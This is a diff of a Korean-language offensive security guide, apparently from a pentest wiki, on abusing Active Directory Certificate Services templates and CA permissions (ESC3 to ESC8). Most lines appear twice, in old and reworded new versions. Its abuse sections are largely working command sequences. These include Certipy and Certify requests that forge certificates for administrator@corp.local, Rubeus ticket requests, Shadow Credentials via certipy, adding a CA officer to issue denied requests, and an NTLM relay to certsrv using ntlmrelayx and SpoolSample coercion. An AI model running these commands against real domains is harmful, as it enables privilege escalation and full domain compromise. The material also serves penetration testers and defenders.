||||
|
||||
**"등록 에이전트"**는 이러한 **템플릿**에 등록하고 결과로 나온 **인증서를 다른 사용자를 대신하여 CSR에 공동 서명**합니다. 그런 다음 **공동 서명된 CSR**을 CA에 **전송**하여 **"대신하여 등록"을 허용하는 템플릿**에 등록하고 CA는 **"다른" 사용자에게 속한 인증서**로 응답합니다.
|
||||
**"등록 에이전트"**는 이러한 **템플릿**에 등록하고 결과로 나온 **인증서를 다른 사용자를 대신하여 CSR에 공동 서명**합니다. 그런 다음 **공동 서명된 CSR**을 CA에 **보내어** "대신하여 등록"을 허용하는 **템플릿**에 등록하고 CA는 **"다른" 사용자에게 속한 인증서**로 응답합니다.
|
||||
|
||||
**요구 사항 1:**
|
||||
|
||||
|
@ -110,8 +114,8 @@ AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플
|
|||
|
||||
* 기업 CA가 낮은 권한을 가진 사용자에게 등록 권한을 부여합니다.
|
||||
* 관리자 승인이 우회됩니다.
|
||||
* 템플릿의 스키마 버전이 1이거나 2를 초과하며 인증서 요청 에이전트 EKU를 필요로 하는 Application Policy Issuance Requirement가 지정됩니다.
|
||||
* 인증서 템플릿에 정의된 EKU가 도메인 인증을 허용합니다.
|
||||
* 템플릿의 스키마 버전은 1이거나 2를 초과하며 인증서 요청 에이전트 EKU를 필요로 하는 Application Policy Issuance Requirement를 지정합니다.
|
||||
* 인증서 템플릿에 정의된 EKU는 도메인 인증을 허용합니다.
|
||||
* CA에 대한 등록 에이전트의 제한이 적용되지 않습니다.
|
||||
|
||||
### 남용
|
||||
|
@ -130,39 +134,39 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
|||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
**사용자**들은 **등록 에이전트 인증서**를 **획득**할 수 있는 **템플릿** 및 **등록 에이전트**가 등록할 수 있는 템플릿, 그리고 등록 에이전트가 작동할 **계정**들을 기업 CA에 의해 제한될 수 있습니다. 이는 `certsrc.msc` **스냅인**을 열고 **CA를 마우스 오른쪽 클릭**하여 **속성을 클릭**한 다음 “Enrollment Agents” 탭으로 **이동**함으로써 달성됩니다.
|
||||
**사용자**들은 **등록 에이전트 인증서**를 **획득**할 수 있는 권한을 가지는, 등록 **에이전트**가 등록할 수 있는 템플릿, 그리고 등록 에이전트가 대행할 **계정**들은 기업 CA에 의해 제한될 수 있습니다. 이는 `certsrc.msc` **스냅인**을 열고, CA에 **마우스 오른쪽 클릭**하여 **속성**을 클릭한 다음 “Enrollment Agents” 탭으로 **이동**함으로써 달성됩니다.
|
||||
|
||||
그러나 CA의 **기본** 설정은 “**등록 에이전트 제한 없음**”으로 되어 있다는 것에 유의해야 합니다. 관리자가 등록 에이전트에 대한 제한을 활성화하면, “등록 에이전트 제한”으로 설정하더라도 기본 구성은 매우 허용적인 상태로 유지됩니다. 이는 **모든 사용자**가 누구나 모든 템플릿에 등록할 수 있도록 허용합니다.
|
||||
그러나, CA의 **기본** 설정은 “등록 에이전트 제한 없음”으로 되어 있다는 것에 유의해야 합니다. 관리자가 등록 에이전트에 대한 제한을 활성화하면, “등록 에이전트 제한”으로 설정하더라도 기본 구성은 매우 허용적인 상태로 유지됩니다. 이는 **모든 사람**이 **모든 템플릿**에 대해 등록할 수 있도록 허용합니다.
|
||||
|
||||
## 취약한 인증서 템플릿 액세스 제어 - ESC4
|
||||
|
||||
### **설명**
|
||||
|
||||
**인증서 템플릿**의 **보안 설명자**는 **AD 주체**들이 템플릿에 대해 보유한 **권한**을 정의합니다.
|
||||
**인증서 템플릿**의 **보안 설명자**는 템플릿과 관련된 특정 **AD 주체**들이 가지는 **권한**을 정의합니다.
|
||||
|
||||
**공격자**가 **템플릿을 변경**하고 **이전 섹션에서 설명한 취약한 구성**을 **시행**할 **필요한 권한**을 가지고 있다면, 권한 상승이 용이해질 수 있습니다.
|
||||
**공격자**가 **템플릿을 변경**하고 **이전 섹션에서 설명한 취약한 구성**을 설정할 **필요 권한**을 가지고 있다면, 특권 상승이 용이해질 수 있습니다.
|
||||
|
||||
인증서 템플릿에 적용 가능한 주요 권한은 다음과 같습니다:
|
||||
인증서 템플릿에 적용되는 주요 권한은 다음과 같습니다:
|
||||
|
||||
* **소유자:** 객체에 대한 암시적 제어를 부여하여 모든 속성을 수정할 수 있도록 합니다.
|
||||
* **FullControl:** 객체에 대한 완전한 권한을 부여하여 모든 속성을 변경할 수 있도록 합니다.
|
||||
* **WriteOwner:** 객체의 소유자를 공격자가 제어하는 주체로 변경할 수 있도록 합니다.
|
||||
* **WriteDacl:** 액세스 제어를 조정하여 공격자에게 FullControl을 부여할 수 있도록 합니다.
|
||||
* **WriteProperty:** 모든 객체 속성을 편집할 수 있도록 권한을 부여합니다.
|
||||
* **소유자:** 객체에 대한 암시적 제어를 부여하여 모든 속성을 수정할 수 있게 합니다.
|
||||
* **전체 제어:** 객체에 대한 완전한 권한을 부여하여 모든 속성을 변경할 수 있게 합니다.
|
||||
* **WriteOwner:** 객체의 소유자를 공격자가 제어하는 주체로 변경할 수 있게 합니다.
|
||||
* **WriteDacl:** 액세스 제어를 조정하여 공격자에게 전체 제어를 부여할 수 있게 합니다.
|
||||
* **WriteProperty:** 모든 객체 속성을 편집할 수 있게 합니다.
|
||||
|
||||
### 남용
|
||||
|
||||
이전과 같은 권한 상승의 예시:
|
||||
이전과 같은 특권 상승의 예시:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가지고 있는 경우를 가리킵니다. 이는 예를 들어 인증서 템플릿의 구성을 덮어쓰고 해당 템플릿을 ESC1에 취약하게 만들기 위해 남용될 수 있습니다.
|
||||
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가지는 경우를 가리킵니다. 이는 예를 들어 인증서 템플릿의 구성을 덮어쓰고 해당 템플릿을 ESC1에 취약하게 만들기 위해 남용될 수 있습니다.
|
||||
|
||||
위 경로에서 볼 수 있듯이, `JOHNPC`만 이러한 권한을 가지고 있지만, 우리 사용자 `JOHN`은 `JOHNPC`에 대한 새로운 `AddKeyCredentialLink` 엣지를 가지고 있습니다. 이 기술은 인증서와 관련이 있기 때문에, 흔히 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)로 알려진 이 공격을 구현했습니다. 여기에는 피해자의 NT 해시를 검색하기 위한 Certipy의 `shadow auto` 명령어의 간단한 미리보기가 있습니다.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy**는 하나의 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. **기본 설정**에서 Certipy는 구성을 **ES1에 취약하도록 덮어씁니다**. 또한 **`-save-old` 매개변수를 지정하여 이전 구성을 저장**할 수도 있으며, 이는 **공격 후 구성을 복원하는 데 유용**할 것입니다.
|
||||
**Certipy**는 단일 명령어로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. **기본 설정**으로 Certipy는 구성을 덮어쓰기하여 ESC1에 취약하게 만듭니다. 또한 우리의 공격 이후 구성을 **복원하는 데 유용한 이전 구성을 저장하는 `-save-old` 매개변수를 지정**할 수도 있습니다.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
|
@ -177,11 +181,11 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
|
|||
|
||||
### 설명
|
||||
|
||||
인증서 템플릿 및 인증서 기관을 넘어서는 여러 객체를 포함하는 ACL 기반의 복잡한 웹은 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 보안에 상당한 영향을 미칠 수 있는 이러한 객체는 다음과 같습니다:
|
||||
인증서 템플릿 및 인증서 기관을 넘어서는 여러 객체를 포함하는 ACL 기반 관계의 방대한 웹은 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 보안에 상당한 영향을 미칠 수 있는 이러한 객체는 다음과 같습니다:
|
||||
|
||||
* CA 서버의 AD 컴퓨터 객체는 S4U2Self 또는 S4U2Proxy와 같은 메커니즘을 통해 침해될 수 있습니다.
|
||||
* CA 서버의 AD 컴퓨터 객체은 S4U2Self 또는 S4U2Proxy와 같은 메커니즘을 통해 침해를 당할 수 있습니다.
|
||||
* CA 서버의 RPC/DCOM 서버.
|
||||
* 특정 컨테이너 경로 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 내 하위 AD 객체 또는 컨테이너. 이 경로에는 인증서 템플릿 컨테이너, 인증 기관 컨테이너, NTAuthCertificates 객체 및 Enrollment Services 컨테이너와 같은 컨테이너 및 객체가 포함됩니다.
|
||||
* 특정 컨테이너 경로 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 내의 하위 AD 객체 또는 컨테이너. 이 경로에는 인증서 템플릿 컨테이너, 인증 기관 컨테이너, NTAuthCertificates 객체 및 Enrollment Services 컨테이너와 같은 컨테이너 및 객체가 포함됩니다.
|
||||
|
||||
PKI 시스템의 보안이 저 권한을 가진 공격자가 이러한 중요한 구성 요소 중 하나를 제어하는 데 성공한다면 위험에 노출될 수 있습니다.
|
||||
|
||||
|
@ -189,13 +193,13 @@ PKI 시스템의 보안이 저 권한을 가진 공격자가 이러한 중요한
|
|||
|
||||
### 설명
|
||||
|
||||
[CQure Academy 게시물](https://cqureacademy.com/blog/enhanced-key-usage)에서 논의된 주제는 Microsoft에서 제시한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 영향에도 영향을 미칩니다. 이 구성은 인증 기관(CA)에서 활성화되면 **사용자 정의 값**을 **주제 대체 이름**에 포함할 수 있게 해줍니다. 이는 Active Directory®에서 생성된 요청을 포함하여 **어떤 요청**에 대해 허용됩니다. 결과적으로 이 제공은 **침입자**가 도메인 **인증**을 위해 설정된 **어떤 템플릿**을 통해 등록할 수 있게 해줍니다. 특히 일반 사용자 템플릿과 같이 **권한이 없는** 사용자 등록이 가능한 템플릿입니다. 결과적으로 인증서를 안전하게 유지하여 침입자가 도메인 관리자로 인증하거나 도메인 내 **다른 활성 엔티티**로 인증할 수 있게 됩니다.
|
||||
[CQure Academy 게시물](https://cqureacademy.com/blog/enhanced-key-usage)에서 논의된 주제는 Microsoft에서 제시한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 함의에도 영향을 미칩니다. 이 구성은 인증 기관(CA)에서 활성화되면 **사용자 정의 값**을 **주제 대체 이름**에 포함할 수 있게 해줍니다. 이는 Active Directory®에서 생성된 요청을 포함한 **모든 요청**에 대해 적용되며, 결과적으로 **침입자**가 도메인 **인증**을 위해 설정된 **모든 템플릿**을 통해 등록할 수 있게 합니다. 따라서 침입자는 도메인 관리자로 인증하거나 도메인 내 **다른 활성 엔티티**로 인증할 수 있는 인증서를 안전하게 획득할 수 있습니다.
|
||||
|
||||
**참고**: `certreq.exe`의 `-attrib "SAN:"` 인수를 통해 **대체 이름**을 **인증서 서명 요청**(CSR)에 추가하는 접근 방식(“이름 값 쌍”으로 참조됨)은 ESC1에서 SAN의 악용 전략과 대조를 이룹니다. 여기서 차이점은 **계정 정보가** 어떻게 캡슐화되는지에 있습니다—인증서 속성 내에, 확장자가 아닌.
|
||||
**참고**: `certreq.exe`의 `-attrib "SAN:"` 인수를 통해 **대체 이름**을 **인증서 서명 요청**(CSR)에 추가하는 접근 방식(“이름 값 쌍”이라고 함)은 ESC1에서 SAN의 악용 전략과 대조를 이룹니다. 여기서 차이점은 **계정 정보가** 어떻게 캡슐화되는지에 있습니다—인증서 속성 내에, 확장이 아닌.
|
||||
|
||||
### 남용
|
||||
|
||||
설정이 활성화되었는지 확인하려면 조직은 다음 명령을 `certutil.exe`와 함께 사용할 수 있습니다:
|
||||
설정이 활성화되었는지 확인하려면 조직은 `certutil.exe`를 사용하여 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
|
@ -212,7 +216,7 @@ Certify.exe find
|
|||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
위 설정을 변경하려면 **도메인 관리자** 권한 또는 동등한 권한이 있는 경우 다음 명령을 모든 워크스테이션에서 실행할 수 있습니다:
|
||||
다음 설정을 변경하려면 **도메인 관리자** 권한 또는 동등한 권한이 있는 경우 다음 명령을 모든 워크스테이션에서 실행할 수 있습니다:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
|
@ -221,8 +225,8 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ
|
|||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
2022년 5월 보안 업데이트 이후에는 새로 발급된 **인증서**에 **보안 확장 기능**이 포함됩니다. 이 확장 기능은 **요청자의 `objectSid` 속성**을 통합합니다. ESC1의 경우, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 SAN이 아닌 **요청자의 `objectSid`**를 반영합니다.\
|
||||
ESC6를 악용하기 위해서는 시스템이 **ESC10 (약한 인증서 매핑)**에 취약해야 하며, 이는 **SAN을 새 보안 확장 기능보다 우선시**합니다.
|
||||
2022년 5월 보안 업데이트 이후에는 새로 발급된 **인증서**에 **보안 확장 기능**이 포함됩니다. 이 기능은 **요청자의 `objectSid` 속성**을 통합합니다. ESC1의 경우, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 **요청자의 `objectSid`**를 반영하며 SAN이 아닙니다.\
|
||||
ESC6를 악용하기 위해서는 시스템이 **ESC10 (약한 인증서 매핑)**에 취약해야 합니다. 이는 **새로운 보안 확장 기능 대신 SAN을 우선시**합니다.
|
||||
{% endhint %}
|
||||
|
||||
## 취약한 인증서 권한 제어 - ESC7
|
||||
|
@ -231,7 +235,7 @@ ESC6를 악용하기 위해서는 시스템이 **ESC10 (약한 인증서 매핑)
|
|||
|
||||
#### 설명
|
||||
|
||||
인증서 권한 제어는 CA(인증서 기관)를 통해 유지되며, CA 작업을 관리하는 권한 집합을 통해 제어됩니다. 이러한 권한은 `certsrv.msc`에 액세스하여 CA를 마우스 오른쪽 버튼으로 클릭한 다음 속성을 선택하고 보안 탭으로 이동하여 확인할 수 있습니다. 또한 PSPKI 모듈을 사용하여 다음과 같은 명령을 사용하여 권한을 열거할 수 있습니다.
|
||||
인증서 권한 제어는 CA(인증 기관)에 대한 액세스 제어를 관리하는 권한 집합을 통해 유지됩니다. 이러한 권한은 `certsrv.msc`에 액세스하여 CA를 마우스 오른쪽 버튼으로 클릭한 다음 속성을 선택한 후 보안 탭으로 이동하여 볼 수 있습니다. 또한 PSPKI 모듈을 사용하여 다음과 같은 명령을 사용하여 권한을 열거할 수 있습니다:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
|
@ -239,9 +243,9 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth
|
|||
|
||||
#### 남용
|
||||
|
||||
인증 기관에서 **`ManageCA`** 권한을 가지면 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 이는 템플릿에서 SAN 지정을 허용하는 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 전환하는 것을 포함하며, 이는 도메인 상승의 중요한 측면입니다.
|
||||
인증 기관에서 **`ManageCA`** 권한을 가지면 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 이는 어떤 템플릿에서도 SAN 지정을 허용하는 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 토글하는 것을 포함하며, 이는 도메인 상승의 중요한 측면입니다.
|
||||
|
||||
이 프로세스를 간소화하는 것은 PSPKI의 **Enable-PolicyModuleFlag** cmdlet을 사용하여 직접 GUI 상호 작용 없이 수정을 허용합니다.
|
||||
이 프로세스를 간소화하는 것은 PSPKI의 **Enable-PolicyModuleFlag** cmdlet을 사용하여 직접 GUI 상호작용 없이 수정을 허용합니다.
|
||||
|
||||
**`ManageCertificates`** 권한 소유는 보류 중인 요청을 승인하여 "CA 인증서 관리자 승인" 보호장치를 우회하는 데 효과적입니다.
|
||||
|
||||
|
@ -266,7 +270,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
|||
#### 설명
|
||||
|
||||
{% hint style="warning" %}
|
||||
이전 공격에서는 **`Manage CA`** 권한을 사용하여 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 활성화하여 **ESC6 공격**을 수행했지만, 이는 CA 서비스(`CertSvc`)가 다시 시작될 때까지 어떤 효과도 없을 것입니다. 사용자가 `Manage CA` 액세스 권한을 가지고 있을 때 사용자는 또한 **서비스를 다시 시작할 수 있습니다**. 그러나 이는 사용자가 원격으로 서비스를 다시 시작할 수 있다는 것을 의미하지는 않습니다. 더욱이 대부분의 패치된 환경에서 **2022년 5월 보안 업데이트로 인해 ESC6가 기본적으로 작동하지 않을 수 있습니다**.
|
||||
이전 공격에서는 **`Manage CA`** 권한을 사용하여 **EDITF\_ATTRIBUTESUBJECTALTNAME2** 플래그를 활성화하여 **ESC6 공격**을 수행했지만, 이는 CA 서비스(`CertSvc`)가 다시 시작될 때까지는 어떤 효과도 없습니다. 사용자가 `Manage CA` 액세스 권한을 가지고 있을 때 사용자는 또한 **서비스를 다시 시작할 수 있습니다**. 그러나 사용자가 원격으로 서비스를 다시 시작할 수 있는 것은 아닙니다. 더욱이 대부분의 패치된 환경에서는 2022년 5월 보안 업데이트로 인해 **ESC6가 기본적으로 작동하지 않을 수 있습니다**.
|
||||
{% endhint %}
|
||||
|
||||
따라서 다른 공격이 여기에 제시됩니다.
|
||||
|
@ -274,21 +278,21 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
|||
전제 조건:
|
||||
|
||||
* **`ManageCA` 권한만**
|
||||
* **`Manage Certificates`** 권한( **`ManageCA`**에서 부여할 수 있음)
|
||||
* 인증서 템플릿 **`SubCA`**가 **활성화**되어 있어야 함(**`ManageCA`**에서 활성화할 수 있음)
|
||||
* **`Manage Certificates`** 권한 (**`ManageCA`**에서 부여 가능)
|
||||
* 인증서 템플릿 **`SubCA`**가 **활성화**되어 있어야 함 (**`ManageCA`**에서 활성화 가능)
|
||||
|
||||
이 기술은 `Manage CA` _및_ `Manage Certificates` 액세스 권한을 가진 사용자가 **실패한 인증서 요청**을 발급할 수 있다는 사실에 의존합니다. **`SubCA`** 인증서 템플릿은 **ESC1에 취약**하지만 **관리자만** 템플릿에 등록할 수 있습니다. 따라서 **사용자**는 **`SubCA`**에 등록을 요청할 수 있지만 **거부될 것**이며, 그 후 **관리자에 의해 발급될 것**입니다.
|
||||
이 기술은 `Manage CA` 및 `Manage Certificates` 액세스 권한을 가진 사용자가 **인증서 요청 실패**를 발행할 수 있다는 사실에 의존합니다. **`SubCA`** 인증서 템플릿은 **ESC1에 취약**하지만 **관리자만** 템플릿에 등록할 수 있습니다. 따라서 **사용자**는 **`SubCA`**에 등록을 요청할 수 있지만 **거부**될 것이며, 그 후 **관리자에 의해 발급될 것**입니다.
|
||||
|
||||
#### 남용
|
||||
|
||||
새로운 관리자로 사용자를 추가하여 자신에게 **`Manage Certificates`** 액세스 권한을 **부여**할 수 있습니다.
|
||||
새로운 관리자로 사용자를 추가하여 **`Manage Certificates`** 액세스 권한을 **자신에게 부여**할 수 있습니다.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
**`SubCA`** 템플릿은 `-enable-template` 매개변수를 사용하여 CA에서 활성화할 수 있습니다. 기본적으로 `SubCA` 템플릿은 활성화되어 있습니다.
|
||||
**`SubCA`** 템플릿은 `-enable-template` 매개변수를 사용하여 CA에서 **활성화**할 수 있습니다. 기본적으로 `SubCA` 템플릿은 활성화되어 있습니다.
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
|
@ -302,7 +306,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
```
|
||||
만약 이 공격을 위한 전제 조건을 충족했다면, **`SubCA` 템플릿을 기반으로 인증서를 요청**하는 것으로 시작할 수 있습니다.
|
||||
|
||||
**이 요청은 거부**될 것이지만, 우리는 개인 키를 저장하고 요청 ID를 메모해야 합니다.
|
||||
**이 요청은 거부**될 것이지만, 우리는 개인 키를 저장하고 요청 ID를 메모해 둘 것입니다.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -314,7 +318,7 @@ Would you like to save the private key? (y/N) y
|
|||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
**`Manage CA`** 및 **`Manage Certificates`**를 사용하여 `ca` 명령 및 `-issue-request <request ID>` 매개변수로 **실패한 인증서** 요청을 발급할 수 있습니다.
|
||||
**`Manage CA` 및 `Manage Certificates`**를 사용하여 `ca` 명령 및 `-issue-request <request ID>` 매개변수로 **실패한 인증서** 요청을 발급할 수 있습니다.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -338,29 +342,29 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
### 설명
|
||||
|
||||
{% hint style="info" %}
|
||||
**AD CS가 설치된 환경**에서는, 적어도 하나의 **웹 등록 엔드포인트가 취약**하게 존재하고 **도메인 컴퓨터 등록 및 클라이언트 인증을 허용하는 인증서 템플릿이 발행**된 경우(예: 기본 **`Machine`** 템플릿), **스풀러 서비스가 활성화된 모든 컴퓨터가 공격자에 의해 침해될 수 있게 됩니다**!
|
||||
**AD CS가 설치된 환경**에서는, 적어도 하나의 **인증서 템플릿이 발행되어 있고 도메인 컴퓨터 등록 및 클라이언트 인증을 허용하는** 존재하는 **웹 등록 엔드포인트가 취약**한 경우, **스풀러 서비스가 활성화된 모든 컴퓨터가 공격자에 의해 침해될 수 있는 가능성**이 있습니다!
|
||||
{% endhint %}
|
||||
|
||||
AD CS에서는 여러 **HTTP 기반 등록 방법**이 지원되며, 관리자가 설치할 수 있는 추가 서버 역할을 통해 이러한 HTTP 기반 인증서 등록 인터페이스가 제공됩니다. 이러한 HTTP 기반 인증서 등록을 위한 인터페이스는 **NTLM 릴레이 공격**에 취약합니다. **공격자는 침해된 컴퓨터에서** **수행할 수 있습니다**. 공격자는 **수신 NTLM을 통해 인증하는 모든 AD 계정을 흉내 낼 수 있습니다**. 피해자 계정을 흉내 내면 공격자는 이러한 웹 인터페이스에 액세스하여 **`User` 또는 `Machine` 인증서 템플릿을 사용하여 클라이언트 인증서를 요청**할 수 있습니다.
|
||||
AD CS에서는 여러 **HTTP 기반 등록 방법**이 지원되며, 관리자가 설치할 수 있는 추가 서버 역할을 통해 이용할 수 있습니다. 이러한 HTTP 기반 인증서 등록을 위한 인터페이스는 **NTLM 릴레이 공격**에 취약합니다. **공격자는 침해된 컴퓨터에서 인바운드 NTLM을 통해 인증하는 모든 AD 계정을 가장할 수 있습니다**. 피해자 계정을 가장하는 동안, 공격자는 이러한 웹 인터페이스에 액세스하여 **`User` 또는 `Machine` 인증서 템플릿을 사용하여 클라이언트 인증서를 요청**할 수 있습니다.
|
||||
|
||||
* **웹 등록 인터페이스**(http://<caserver>/certsrv/에서 사용 가능한 오래된 ASP 애플리케이션)는 기본적으로 HTTP만 지원하며, NTLM 릴레이 공격에 대한 보호를 제공하지 않습니다. 또한, 인증 HTTP 헤더를 통해 명시적으로 NTLM 인증만 허용하므로 Kerberos와 같은 더 안전한 인증 방법을 사용할 수 없습니다.
|
||||
* **인증서 등록 서비스**(CES), **인증서 등록 정책**(CEP) 웹 서비스 및 **네트워크 장치 등록 서비스**(NDES)는 기본적으로 인증 HTTP 헤더를 통해 협상 인증을 지원합니다. 협상 인증은 Kerberos 및 **NTLM을 모두 지원**하며, 공격자는 릴레이 공격 중 NTLM으로 **다운그레이드**할 수 있습니다. 이러한 웹 서비스는 기본적으로 HTTPS를 지원하지만, HTTPS만으로는 NTLM 릴레이 공격으로부터 보호되지 않습니다. HTTPS 서비스의 NTLM 릴레이 공격으로부터의 보호는 HTTPS가 채널 바인딩과 결합될 때에만 가능합니다. 유감스럽게도, AD CS는 채널 바인딩에 필요한 IIS의 확장된 인증 보호를 활성화하지 않습니다.
|
||||
* **인증서 등록 서비스**(CES), **인증서 등록 정책**(CEP) 웹 서비스 및 **네트워크 장치 등록 서비스**(NDES)는 기본적으로 인증 HTTP 헤더를 통해 네고시에이트 인증을 지원합니다. 네고시에이트 인증은 Kerberos와 **NTLM을 모두 지원**하며, 공격자가 릴레이 공격 중 NTLM으로 **다운그레이드**할 수 있습니다. 이러한 웹 서비스는 기본적으로 HTTPS를 지원하지만, HTTPS만으로는 NTLM 릴레이 공격으로부터 보호받을 수 없습니다. HTTPS 서비스의 NTLM 릴레이 공격으로부터 보호는 HTTPS를 채널 바인딩과 결합할 때에만 가능합니다. 안타깝게도, AD CS는 채널 바인딩을 위해 필요한 IIS의 확장된 인증 보호를 활성화하지 않습니다.
|
||||
|
||||
NTLM 릴레이 공격의 일반적인 **문제점**은 **NTLM 세션의 짧은 기간**과 공격자가 **NTLM 서명이 필요한 서비스와 상호 작용할 수 없는** 것입니다.
|
||||
NTLM 릴레이 공격의 **일반적인 문제점**은 **NTLM 세션의 짧은 기간**과 **공격자가 NTLM 서명을 필요로 하는 서비스와 상호 작용할 수 없는** 점입니다.
|
||||
|
||||
그러나 이 제한은 NTLM 릴레이 공격을 이용하여 사용자를 위한 인증서를 획들할 수 있음으로 극복됩니다. 인증서의 유효 기간이 세션의 기간을 결정하며, 인증서는 **NTLM 서명이 필요한 서비스에서 사용**할 수 있습니다. 훔친 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:
|
||||
그러나 이 제한은 NTLM 릴레이 공격을 통해 사용자를 위한 인증서를 획들할하여 극복됩니다. 인증서의 유효 기간이 세션의 기간을 규정하며, 인증서는 **NTLM 서명을 필요로 하는 서비스에서 사용**할 수 있습니다. 훔친 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:
|
||||
|
||||
{% content-ref url="account-persistence.md" %}
|
||||
[account-persistence.md](account-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
NTLM 릴레이 공격의 또 다른 제한은 **공격자가 피해자 계정에 의해 인증된 기계**여야 한다는 것입니다. 공격자는 이 인증을 기다리거나 강제로 시도할 수 있습니다:
|
||||
NTLM 릴레이 공격의 또 다른 제한은 **공격자가 제어하는 컴퓨터가 피해자 계정에 의해 인증**되어야 한다는 것입니다. 공격자는 이 인증을 기다리거나 강제로 시도할 수 있습니다:
|
||||
|
||||
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **남용**
|
||||
### **악용**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)의 `cas`는 **활성화된 HTTP AD CS 엔드포인트를 열거**합니다:
|
||||
```
|
||||
|
@ -379,7 +383,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Certify를 악용하기
|
||||
#### Certify를 악용
|
||||
```bash
|
||||
## In the victim machine
|
||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||
|
@ -394,9 +398,9 @@ proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2sup
|
|||
# Force authentication from victim to compromised machine with port forwards
|
||||
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
|
||||
```
|
||||
#### [Certipy](https://github.com/ly4k/Certipy)를 이용한 남용
|
||||
#### [Certipy](https://github.com/ly4k/Certipy)을(를) 이용한 남용
|
||||
|
||||
인증서 요청은 Certipy에 의해 기본적으로 `Machine` 또는 `User` 템플릿을 기반으로 하며, 전달되는 계정 이름이 `$`로 끝나는지에 따라 결정됩니다. 대체 템플릿의 지정은 `-template` 매개변수를 사용하여 달성할 수 있습니다.
|
||||
인증서 요청은 Certipy에 의해 기본적으로 `$`로 끝나는 계정 이름에 따라 `Machine` 또는 `User` 템플릿을 기반으로 합니다. 대체 템플릿의 지정은 `-template` 매개변수를 사용하여 달성할 수 있습니다.
|
||||
|
||||
